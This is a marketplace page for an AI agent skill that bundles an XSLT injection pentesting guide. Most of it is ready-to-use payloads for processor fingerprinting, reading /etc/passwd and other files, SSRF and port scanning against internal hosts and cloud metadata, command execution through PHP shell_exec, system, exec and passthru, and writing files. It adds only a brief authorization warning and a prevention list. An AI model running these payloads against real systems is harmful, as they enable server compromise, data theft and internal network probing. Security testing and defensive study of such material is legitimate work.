# Xslt Injection Pentest

> XSLT Server-Side Injection (SSI) pentesting skill. Use this whenever the user needs to test for XSLT injection vulnerabilities, fingerprint XSLT processors, read files via XSLT, perform SSRF through XSLT, or execute code through XSLT transformations. Trigger on mentions of XSLT, stylesheet injection, XML transformation vulnerabilities, or when analyzing applications that process XSL files.

- Skill: `abelrguezr/xslt-injection-pentest` (Agent Skill, multi-file: 2 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/xslt-injection-pentest`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/xslt-injection-pentest/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/xslt-injection-pentest

---


# XSLT Server-Side Injection (SSI) Pentesting

A comprehensive guide for testing XSLT injection vulnerabilities in web applications. This skill covers fingerprinting, file operations, SSRF, and code execution techniques.

## ⚠️ Authorization Required

Only use these techniques on systems you have explicit authorization to test. Unauthorized access is illegal.

## Understanding XSLT Injection

XSLT (Extensible Stylesheet Language Transformations) is used to transform XML documents. When XSLT stylesheets are processed server-side and user input can influence the stylesheet content, injection vulnerabilities may exist.

### Common XSLT Processors

- **Libxslt** (Gnome)
- **Xalan** (Apache)
- **Saxon** (Saxonica)

### Vulnerability Prerequisites

1. XSLT tags must be stored/processed server-side
2. User input must be able to influence the XSLT content
3. The application must process the XSLT transformation

## Fingerprinting XSLT Processors

Identify the XSLT processor and version to determine available attack vectors.

### Basic Fingerprint Payload

```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
 Version: <xsl:value-of select="system-property('xsl:version')" /><br />
 Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
 Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
 <xsl:if test="system-property('xsl:product-name')">
 Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
 </xsl:if>
 <xsl:if test="system-property('xsl:product-version')">
 Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
 </xsl:if>
 <xsl:if test="system-property('xsl:is-schema-aware')">
 Is Schema Aware: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
 </xsl:if>
 <xsl:if test="system-property('xsl:supports-serialization')">
 Supports Serialization: <xsl:value-of select="system-property('xsl:supports-serialization')" /><br />
 </xsl:if>
 <xsl:if test="system-property('xsl:supports-backwards-compatibility')">
 Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supports-backwards-compatibility')" /><br />
 </xsl:if>
</xsl:template>
</xsl:stylesheet>
```

### Version-Specific Features

- **XSLT 1.0**: Basic transformation, limited functions
- **XSLT 2.0**: Added `unparsed-text()`, `unparsed-text-line()`, `unparsed-text-available()`
- **XSLT 3.0**: Additional file I/O capabilities

## File Reading Techniques

### Method 1: unparsed-text() (XSLT 2.0+)

```xml
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
</xsl:template>
</xsl:stylesheet>
```

### Method 2: document() Function

```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="document('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
```

### Method 3: XXE Entity Injection

```xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[
<!ENTITY ext_file SYSTEM "/etc/passwd">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
&ext_file;
</xsl:template>
</xsl:stylesheet>
```

### Method 4: PHP Function Integration

```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" 
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 
  xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:value-of select="php:function('file_get_contents','/path/to/file')"/>
</xsl:template>
</xsl:stylesheet>
```

### Method 5: Directory Listing (PHP)

```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" 
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 
  xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:value-of select="php:function('opendir','/path/to/dir')"/>
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
</xsl:template>
</xsl:stylesheet>
```

## Server-Side Request Forgery (SSRF)

### Basic SSRF via xsl:include

```xml
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
<xsl:include href="http://127.0.0.1:8000/xslt"/>
<xsl:template match="/">
</xsl:template>
</xsl:stylesheet>
```

### SSRF via document()

```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="document('http://internal-server:8080/admin')"/>
</xsl:template>
</xsl:stylesheet>
```

### Port Scanning

```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" 
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 
  xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:value-of select="document('http://target:22')"/>
<xsl:value-of select="document('http://target:80')"/>
<xsl:value-of select="document('http://target:443')"/>
</xsl:template>
</xsl:stylesheet>
```

## Code Execution

### PHP shell_exec

```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:value-of select="php:function('shell_exec','whoami')" />
</xsl:template>
</xsl:stylesheet>
```

### PHP system()

```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:value-of select="php:function('system','id')" />
</xsl:template>
</xsl:stylesheet>
```

### PHP exec()

```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:value-of select="php:function('exec','cat /etc/passwd')" />
</xsl:template>
</xsl:stylesheet>
```

### PHP passthru()

```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:value-of select="php:function('passthru','ls -la')" />
</xsl:template>
</xsl:stylesheet>
```

### PHP assert() with var_dump

```xml
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" 
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 
  xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
  <xsl:copy-of name="asd" 
    select="php:function('assert','var_dump(scandir(chr(46).chr(47)))')" />
  <br />
</body>
</html>
```

### Access PHP Static Class Methods

```xml
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 
  xmlns:php="http://php.net/xsl" version="1.0">
<xsl:output method="html" version="XHTML 1.0" encoding="UTF-8" indent="yes" />
<xsl:template match="root">
<html>
  <xsl:value-of select="php:function('ClassName::staticMethod','parameter')" />
</html>
</xsl:template>
</xsl:stylesheet>
```

## File Writing

### XSLT 2.0 result-document

```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" 
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 
  xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:result-document href="local_file.txt">
  <xsl:text>Write Local File</xsl:text>
</xsl:result-document>
</xsl:template>
</xsl:stylesheet>
```

### Xalan-J Extension

```xml
<xsl:template match="/">
<redirect:open file="local_file.txt"/>
<redirect:write file="local_file.txt">Write Local File</redirect:write>
<redirect:close file="local_file.txt"/>
</xsl:template>
```

## External XSLT Inclusion

### Via xsl:include

```xml
<xsl:include href="http://external.web/external.xsl"/>
```

### Via xml-stylesheet Processing Instruction

```xml
<?xml version="1.0" ?>
<?xml-stylesheet type="text/xsl" href="http://external.web/ext.xsl"?>
```

## JavaScript Injection

```xml
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<script>confirm("XSLT Injection Detected");</script>
</xsl:template>
</xsl:stylesheet>
```

## Testing Workflow

### Step 1: Identify Injection Point

Look for:
- File upload endpoints accepting `.xsl` files
- Parameters that control stylesheet selection
- XML processing with external stylesheet references
- APIs that transform XML with user-controlled stylesheets

### Step 2: Fingerprint the Processor

Use the fingerprint payload to identify:
- XSLT version (1.0, 2.0, 3.0)
- Vendor (Saxon, Xalan, Libxslt)
- Available features and functions

### Step 3: Test File Reading

Try each file reading method based on the processor capabilities:
- XSLT 2.0+: `unparsed-text()`
- All versions: `document()`
- PHP-enabled: `php:function()`
- XXE-enabled: Entity injection

### Step 4: Test SSRF

Attempt to access:
- Internal network resources
- Cloud metadata endpoints (`169.254.169.254`)
- Local services (`127.0.0.1`)

### Step 5: Test Code Execution

If PHP functions are available, test command execution:
- `shell_exec()`
- `system()`
- `exec()`
- `passthru()`

## Detection and Prevention

### Detection Signs

- Unexpected output from XML transformations
- Error messages revealing XSLT processor details
- Ability to read files through XML processing
- SSRF indicators in transformation output

### Prevention Measures

1. **Disable external stylesheet processing** when not needed
2. **Validate and sanitize** all XSLT input
3. **Use allowlists** for permitted XSLT functions
4. **Disable PHP function integration** in XSLT processors
5. **Run transformations** in sandboxed environments
6. **Apply principle of least privilege** to transformation processes

## Additional Resources

### Payload Collections

- [PayloadsAllTheThings - XSLT Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection)
- [Fortify Vulnerability Catalog](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection)

### Documentation

- [W3C XSLT 1.0 Specification](https://www.w3.org/TR/xslt-10/)
- [W3C XSLT 2.0 Specification](https://www.w3.org/TR/xslt20/)
- [W3C XSLT 3.0 Specification](https://www.w3.org/TR/xslt-30/)

### Research Papers

- [Abusing XSLT for Practical Attacks - IO Active](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf)
- [Abusing XSLT for Practical Attacks - Blackhat 2015](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf)
- [XSLT SSRF Research](https://feelsec.info/wp-content/uploads/2018/11/XSLT_SSRF.pdf)

## Quick Reference

| Technique | XSLT Version | PHP Required | Notes |
|-----------|--------------|--------------|-------|
| `unparsed-text()` | 2.0+ | No | Direct file read |
| `document()` | 1.0+ | No | File/URL read |
| `php:function()` | 1.0+ | Yes | Full PHP access |
| XXE Entities | 1.0+ | No | Requires DTD support |
| `xsl:include` | 1.0+ | No | External stylesheet |
| `result-document` | 2.0+ | No | File write |
| `system-property()` | 1.0+ | No | Fingerprinting |

